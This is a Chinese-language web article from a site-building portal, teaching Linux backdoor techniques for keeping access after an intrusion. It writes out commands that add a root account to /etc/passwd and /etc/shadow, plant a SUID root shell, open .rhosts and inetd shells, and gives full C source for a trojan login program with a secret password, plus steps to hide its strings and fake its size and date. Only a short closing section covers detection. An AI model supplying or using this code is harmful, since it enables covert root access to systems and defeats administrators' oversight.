动态网站制作指南 [  QQ表情  ]
[ 投票调查 ]
[ 企业邮箱 ]
[ 网站空间 ]
网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
ASP源码 | .Net源码 | PHP源码 | JSP源码 | JAVA源码 | CGI源码 | VB源码 | C++源码 | Delphi源码 | PB源码 | VF源码 | 汇编 | 服务器
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络安全 > 黑客攻防
Tag:卡巴斯基,NOD32,诺顿,金山毒霸,瑞星,江民
文章搜索服务
邮件订阅
输入你的邮件地址,
你将不会错过任何关于:
[ 黑客攻防 ]的信息

本月文章推荐
.互联网的巨大威胁 ICMP洪水攻击浅.
.利用Google作黑客攻击的原理和防.
.堵住黑客非法入侵的11点原则.
.冲浪DDoS(拒绝服务)攻击的趋势.
.打破常规 构造特殊字符进行渗透入.
.浅析2004年出现的4种新后门技术.
.怎样防止别人用ipc$和默认共享入.
.黑客工具介绍之DDoS攻击工具TFN2.
.通配符的魔力—轻装入侵个人主页.
.黑客入门:如何选择漏洞扫描工具.
.拒绝网络黑客 如何防御Sniffer攻.
.小规模DDoS(拒绝服务)用Freebsd+.
.网络地址解析协议被攻击的解决方.
.防守也要反击:彻底粉碎QQ盗号阴.
.安全经验交流:赛迪博友谈网络攻.
.常见基础黑客技术相关术语名词解.
.服务器如何防范asp木马.
.黑客如何实现网络过载攻击完全解.
.解析针对个人用户的DDoS自杀式攻.
.网络安全之注意警惕DoS的路由器攻.

黑客高级技巧 Linux后门技术及实践

发表日期:2007-5-1 |


  后门简介

  入侵者完全控制系统后,为方便下次进入而采用的一种技术。一般通过修改系统配置文件和安装第三方后门工具来实现。具有隐蔽性,能绕开系统日志,不易被系统管理员发现等特点。

  常用后门技术

  增加超级用户账号

  破解/嗅探用户密码

  放置SUID Shell

  rhosts + +

  利用系统服务程序

  TCP/UDP/ICMP Shell

  Crontab定时任务

  共享库文件

  工具包rootkit

  可装载内核模块(LKM)

  增加超级用户


# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd 
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

  如果系统不允许uid=0的用户远程登录,还需要增加一个普通用户账号。

  破解/嗅探用户密码

  获得shadow文件后,用John the Ripper 工具破解薄弱的用户密码。安装sniffit等嗅探工具,监听telnet、ftp等端口,收集用户密码。

  放置SUID Shell


# cp /bin/bash /dev/.rootshell 
# chmod u+s /dev/.rootshell

  普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。


rhosts + + 

# echo "+ +" > /.rhosts 
# rsh -l root victim.com csh -i

  远程可以得到一个rootshell。

  利用系统服务程序。

  修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I ;用trojan程序替换in.telnetd、in.rexecd等inted的服务程序,重定向login程序。

  TCP/UDP/ICMP Shell

  BindShell,大部分是基于TCP/UDP协议的网络服务程序,在高端口监听,很容易被发现。Ping Backdoor,通过ICMP包激活后门,形成一个Shell通道。TCP ACK数据包后门,能够穿越防火墙。
  Crontab定时任务
  通过Crontab程序调度已安装的后门程序定时运行,一般在深夜时段,是系统管理员不在线的时间。

  共享库文件

  在共享库中嵌入后门函数使用后门口令激活Shell,获得权限能够躲避系统管理员对二进制文件本身的校验。

  工具包Rootkit

  包含一系列系统及后门工具:

  - 清除日志中的登录记录

  - 伪装校验和

  - 替换netstat、ps等网络工具

  - 后门登录程序易于安装和使用

  可装载内核模块(LKM)

  LKM:Loadable Kernel Modules 动态的加载,不需要重新编译内核。

  截获系统调用,具有隐藏目录、文件、进程、网络连接等强大功能。

  自身隐蔽性好,发现难度较大。

  著名的LKM包有adore和knark。

  后门的检测

  以自己的经验,结合特定的工具,手工作一些检测。使用Tripwire或md5校验来检查系统。借助IDS系统,监听到目标机器的可疑网络连接。

  实例:Login后门

  入侵者先把原始的/bin/login备份,再用一段程序替换/bin/login。入侵者telnet登录进来的时候,通过环境变量或者终端类型,传递了正确的后门密码,将直接获得一个Shell;如果是普通用户登录,将会重定向到原始的login文件,来处理正常的登录。

  最简单的login后门ulogin.c源代码如下:

  实例:login后门


#include <stdio.h> 
#define PASSWORD "passWORD" 
#define _PATH_LOGIN "/sbin/logins" 

main (argc, argv, envp) 
int argc; 
char **argv, **envp; 

 char *display = getenv("DISPLAY"); 
 if ( display == NULL ) { 
  execve(_PATH_LOGIN, argv, envp); 
  perror(_PATH_LOGIN); 
  exit(1); 
 } 
 if (!strcmp(display,PASSWORD)) { 
  system("/bin/csh"); 
  exit(1); 
 } 
 execve(_PATH_LOGIN, argv, envp); 
 exit(1); 
}
  利用后门登录
  首先Telnet服务是打开的,在自己机器上:


bash$ export DISPLAY=passWORD 
bash$ telnet victim.com 
Trying xxx.xxx.xxx.xxx... 
Connected to victim.com (xxx.xxx.xxx.xxx). 
Escape character is '^]'. 
% _

  Strings命令

  strings命令能够打印出二进制文件中的可显示字符串,用于刚才的ulogin程序:


bash$ strings ulogin 
/lib/ld-linux.so.2 
.............. 
DISPLAY 
/sbin/logins 
passWORD 
/bin/csh

  加密后门密码

  1,采用DES算法,即crypt( )函数,编写gen.c程序:


#include <unistd.h> 
main(int argc, char *argv[]) 

if (argc != 3) { 
printf("usage: %s <password> <salt>\n", argv[0]); 
exit(1); 

printf("%s\n", crypt(argv[1], argv[2])); 
}

  2、编译为gen,执行./gen hack ui,得到的shadow结果为UiVqMWvDrIQjA。

  3、修改后门源程序ulogin.c:

  -- 以密文形式的密码代替ulogin.c中define的宏PASSWORD值。

  -- 如果后门密码正确,直接给出Shell:


if (!strcmp(PASSWORD, crypt(display,PASSWORD))) 

system(SHELL); 
exit(1); 
}

  用strings命令只能看到加密过的密码。

  采用异或(XOR)算法,以十六进制方式表示字符串,以达到non- printable的效果。

  1、编码程序encode.c如下:

char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a"; 
char *de(char *str,char *key) 

int i=0,j=0,len; 
len=strlen(key); 
while(str[i] != '\0') { 
str[i]^=key[j]; 
j++; 
if(j==len) j=0; 
i++; 

return str; 

void display(char *str) 

int i; 
for(i=0;i<strlen(str);i++) printf("\\x%x",str[i]); 
printf("\n"); 

main() 

char gets[100], *ptr; 
ptr=gets; 
scanf ("%s",ptr); 
de(ptr,magic);display(ptr); 
}

  2、编译程序encode,依次执行得到关键字符串与magic串异或后的结果,例如原始login的文件名/sbin/xlogin,经过异或后为:

  \x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb
  3、在后门源代码中这样定义:
  Char

  login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";

  然后插入异或函数char *de()结合同一magic串,就能判断出正确的后门密码。

  用strings命令看不到密码、路径等字符串了。

  最后的修饰

  使后门程序ulogin的strings输出类似于正常login的strings输出,做法为:

  在ulogin.c代码中增加一个字符串数组char strings[] ="";,在引号中填入正常login程序的strings输出结果。以假乱真,增加迷惑性。

  调整后门程序的文件日期、大小等属性:

  1、日期

  # ls -l /sbin/xlogin

  -r-sr-xr-x root root 19300 Feb 11 1998

  /sbin/xlogin

  # touch -t 199802110000 ulogin

  # _

  2、调整大小

  # ls -l ulogin /sbin/xlogin

  -r-sr-xr-x root root 7542 Feb 11 1998 ulogin

  -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin

  # bc

  19300-7542

  11758

  # dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1

  1+0 records in

  1+0 records out

  11758 bytes transferred in 0.000379 secs (31016746

  bytes/sec)

  # cat /tmp/t >> ulogin

  Login后门的检测

  使用命令md5sum对现有/bin/login文件作校验,与以前的值作比较。

  使用Red Hat Linux的RPM校验:

  # rpm -V util-linux

  在入侵者已经利用后门登录的情况下,who是看不到用户的,查看系统进程,查找login -h xxx.xxx.xxx.xxx的字样。

上一篇:黑客技术之打造不死的ASP木马的方法 人气:4930
下一篇:黑客工具介绍之DDoS攻击工具TFN2K分析 人气:4178
浏览全部Linux的内容 Dreamweaver插件下载 常用网页广告代码全集
  最新网站源码 最新软件下载
2008-10-15 自由岭峰行业专用留言系统 v1.87
2008-10-15 Tikiwiki v1.9.11 多国语言版
2008-10-15 Roclog v3.1.6.28
2008-10-15 谷秋精品课程开发系统 v2.1
2008-10-15 pageadmin企业网站管理系统 v2.1
2008-10-15 晴天免费电影系统完整版(带迅雷采
2008-10-15 PHP-B2B v2.4.0 UTF8 Beta版
2008-10-15 云峰多用户网络进销存B/S v2.1
2008-10-15 Qspace v1.1.1 Access
2008-10-11 联系人分组工具 v1.1 中文破解版
2008-10-11 FaceMelter变脸 v2.0 汉化破解版
2008-10-11 PathTracker道路跟踪仪 v1.2 破解
2008-10-11 Rooms手机聊天室 v0.6.7 破解版
2008-10-11 RemoteDesktop远程桌面 v1.0 破解
2008-10-11 ProRemote远程调音台 v1.0.1 破解
2008-10-11 PicShare照片共享 v1.0.0 破解版
2008-10-11 Photogene照片编辑器 v1.5 汉化破
2008-10-11 WriteRoom共享文档 v1.0 破解版
  发表评论
姓 名: 验证码:
内 容:
站长工具:网站收录查询 | Google PR查询 | ALEXA排名查询 | CSS在线编辑器 | 广告代码 | js/vbs加密 | md5加密 | 进制转换 | UTF-8 转换工具 | Html转换js | Html转换asp | Html转换php | Html转换perl
实用工具:汉字翻译拼音 | 拼音字典 | 符号对照表 | 个税计算 | 实时汇率查询换算 | 经典小工具 | 汉字简繁转换 | 普通单位换算 | 公制单位换算 | 生辰老黄历 | 国内电话区号 | 国家代码与域名缩写 | 文字加密解密 | 健康查询 | 万年历 | 汉字横竖排版 | 手机号码查询 | 计算器 | ip搜索
业务联系 | 广告刊登 | 频道合作 | 投稿荐稿 | 联系方式 | 加入收藏 | RSS订阅
Copyright © 2000-2008 www.knowsky.com All rights reserved | 网络实名:动态网站制作指南 | 沪ICP备05001343号